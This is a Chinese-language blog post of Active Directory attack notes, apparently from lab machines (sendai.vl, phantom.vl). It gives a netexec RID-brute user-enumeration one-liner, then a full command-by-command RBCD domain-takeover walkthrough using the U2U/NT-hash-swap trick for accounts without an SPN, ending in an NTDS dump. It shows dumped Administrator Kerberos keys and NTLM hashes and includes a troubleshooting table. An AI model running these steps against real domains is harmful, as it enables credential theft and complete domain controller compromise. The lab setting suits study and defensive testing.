Administrator:0x14:977d41fb9cb35c5a28280a6458db3348ed1a14d09248918d182a9d3866809d7b
Administrator:0x13:5ebe190ad8b5efaaae5928226046dfc0
Administrator:aes256-cts-hmac-sha1-96:1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2
Administrator:aes128-cts-hmac-sha1-96:7b6b4158f2b9356c021c2b35d000d55f
Administrator:0x17:0b133be956bfaddf9cea56701affddec
[*] Cleaning up...

小bash脚本抽取用户

1
netexec smb dc.sendai.vl -u '' -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 > users.txt

RBCD 利用笔记:AddAllowedToAct 权限(普通用户对 DC 的 RBCD 案例)

场景:phantom.vl 域中,普通用户对 DC$ 拥有 AddAllowedToAct(即 msDS-AllowedToActOnBehalfOfOtherIdentity 写权限),域机器账户配额(MAQ)被设为 0,无法创建机器账户。最终通过 Forshaw 无 SPN RBCD 技巧 拿到 Administrator 的票据并 dump NTDS。


一、权限含义

AddAllowedToAct 本质是:对目标计算机对象的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性拥有写权限。

  • 这个属性正是 RBCD(资源型约束委派) 的配置项。
  • 写入格式:一个安全描述符(Security Descriptor),其中 ACE 包含“被允许代表其他用户认证的服务账户”的 SID。
  • 效果:被写入的账户(如 wsilva / crose)可以对该计算机(如 DC$)执行 S4U2Proxy,冒充任意域用户(含 Administrator)。

text

1
2
DC$ 的 msDS-AllowedToActOnBehalfOfOtherIdentity
└─ ACE: wsilva (S-1-5-21-...-1114) → 允许 wsilva 代表他人访问 DC$

二、目标环境特点(Phantom)

项目 值 影响
域控 DC.phantom.vl / 10.129.234.63 目标
域功能级别 Windows Server 2022 支持 RBCD
MachineAccountQuota 0 无法创建机器账户,只能拿普通用户做 RBCD
控制账户 wsilva / crose(普通用户,无 SPN) 需要绕过 S4U2Self 的 SPN 限制
攻击权限 对 DC$ 有 AddAllowedToAct 可写 RBCD 属性
RC4 域内仍启用 技巧前提

关键难点:标准 RBCD 要求委派账户有 SPN(通常是机器账户)。MAQ=0 且只有普通用户时,必须使用 U2U + 修改 NT Hash 为 TGT 会话密钥 的绕过方法(James Forshaw, Exploiting RBCD Using a Normal User Account)。


三、攻击原理(Forshaw 技巧)

普通用户直接跑 S4U 会失败:

阶段 报错 原因
S4U2Self KDC_ERR_S_PRINCIPAL_UNKNOWN KDC 不知道用哪个密钥加密票据(用户无 SPN)
S4U2Proxy KDC_ERR_BADOPTION KDC 无法解密 S4U2Self 返回的票据

绕过思路:

  1. 用 U2U(User-to-User) 扩展请求 S4U2Self,让票据用 TGT 会话密钥加密。
  2. 在 S4U2Self 与 S4U2Proxy 之间,把该用户的 NT Hash 改成 TGT 会话密钥。
  3. 这样 KDC 在 S4U2Proxy 阶段用“用户长期密钥”解密票据时,正好等于会话密钥 → 解密成功 → 签发票据。

前提条件:

  • TGT 必须是 RC4(rc4_hmac),因为只有 RC4 会话密钥是 16 字节、可直接当作 NT Hash 写入。
  • TGT 必须带 forwardable 标志。
  • 目标账户(Administrator)不能是 NOT_DELEGATED 或 Protected Users。
  • 被牺牲的用户账户密码会被改掉(sacrificial account)。

四、实操流程(以 wsilva 为例)

Step 0:确认权限与属性

1
2
3
# 查看 DC$ 当前 RBCD 属性
bloodyAD -d phantom.vl -u <user> -p '<pass>' -H 10.129.234.63 \
get object 'DC$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity

Step 1:写入 RBCD(授予 wsilva 委派权)

1
2
impacket-rbcd -delegate-to 'DC$' -delegate-from wsilva -action write \
phantom/wsilva:0xdf0xdf -dc-ip 10.129.234.63

输出确认:

1
2
3
[*] Delegation rights modified successfully!
[*] wsilva can now impersonate users on DC$ via S4U2Proxy
[*] wsilva (S-1-5-21-...-1114)

Step 2:获取 TGT(必须 RC4)

1
impacket-getTGT phantom.vl/wsilva:0xdf0xdf -dc-ip 10.129.234.63

如默认拿到 AES256,需强制 RC4(krb5.conf 设置 default_tkt_enctypes = rc4-hmac,或设置账户 msDS-SupportedEncryptionTypes=4)。

Step 3:提取 TGT 会话密钥

1
impacket-describeTicket wsilva.ccache

关键输出:

text

1
2
3
[*] Ticket Session Key : 8cc899da87639dd564a43f75d8d74b1a   # 32 hex = 16 字节
[*] KeyType : rc4_hmac
[*] Flags : forwardable, ... # 必须 forwardable

Step 4:把用户 NT Hash 改成会话密钥

1
2
impacket-changepasswd -newhashes :8cc899da87639dd564a43f75d8d74b1a \
phantom/wsilva:0xdf0xdf@dc.phantom.vl -p smb-samr

⚠️ 此步之后 wsilva 原密码失效,属于牺牲账户。

Step 5:U2U 请求 Administrator 的 CIFS 票据

bash

1
2
KRB5CCNAME=wsilva.ccache impacket-getST -u2u -impersonate Administrator \
-spn cifs/DC.phantom.vl phantom.vl/wsilva -k -no-pass -dc-ip 10.129.234.63

成功输出:

1
2
3
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC.phantom.vl@PHANTOM.VL.ccache

重要:KRB5CCNAME 必须指向 Step 2 的原始 TGT,不能用改密后重新获取的新 TGT,否则会话密钥不匹配,会再次 KDC_ERR_BADOPTION。

Step 6:用票据 dump NTDS

1
2
KRB5CCNAME=Administrator@cifs_DC.phantom.vl@PHANTOM.VL.ccache \
netexec smb dc.phantom.vl --use-kcache --ntds --user Administrator

成功输出:

1
2
3
SMB  [+] phantom.vl\Administrator from ccache (Pwn3d!)
SMB [+] Dumping the NTDS ...
SMB Administrator:500:aad3b435b51404eeaad3b435b51404ee:aa2abd9db4f5984e657f834484512117:::

五、关键检查清单

检查项 命令 / 方法 期望
RBCD 属性已写入 bloodyAD get object 'DC$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity 含目标用户 SID
TGT 为 RC4 describeTicket → KeyType rc4_hmac
TGT 可转发 describeTicket → Flags 含 forwardable
Administrator 可委派 get object Administrator --attr userAccountControl,memberOf 无 0x100000,不在 Protected Users
会话密钥长度 describeTicket 32 hex(16 字节)
getST 用的 ccache KRB5CCNAME 改密前的原始 TGT

六、常见报错与处理

报错 原因 处理
KDC_ERR_S_PRINCIPAL_UNKNOWN(S4U2Self) 用户无 SPN 改用 U2U(-u2u)
KDC_ERR_BADOPTION(S4U2Proxy) KDC 无法解密票据 / 会话密钥不匹配 确保 NT Hash = 原始 TGT 会话密钥;KRB5CCNAME 指向原始 TGT
Wrong key length(getTGT -hashes) 提供了 AES256(32 字节)密钥 强制 RC4,拿 16 字节会话密钥
invalidCredentials(bloodyAD) 用户密码已被上一步改掉 用有 ForceChangePassword 权限的账户重置密码
kinit: invalid option -- 'e' MIT kinit 不支持 -e 用 krb5.conf 强制 rc4-hmac

七、要点总结

  1. AddAllowedToAct = 可写 RBCD 属性,是 RBCD 攻击的入口权限。
  2. MAQ=0 时,不要想着建机器账户,直接拿普通用户做 RBCD。
  3. 普通用户无 SPN → 必须走 U2U + 改 NT Hash 为 TGT 会话密钥 的 Forshaw 技巧。
  4. RC4 是硬前提,AES 会话密钥无法直接当 NT Hash 用。
  5. getST 必须用改密前的原始 TGT,这是最容易踩的坑。
  6. 牺牲账户密码会失效,事后需用有权限的账户重置恢复。
  7. 拿到 cifs/DC 票据后即可 secretsdump / --ntds 拿域管哈希,完成域控接管。

ad攻击小记
http://example.com/2026/02/18/ad攻击小记/
Author
Skyarrow
Posted on
February 18, 2026
Licensed under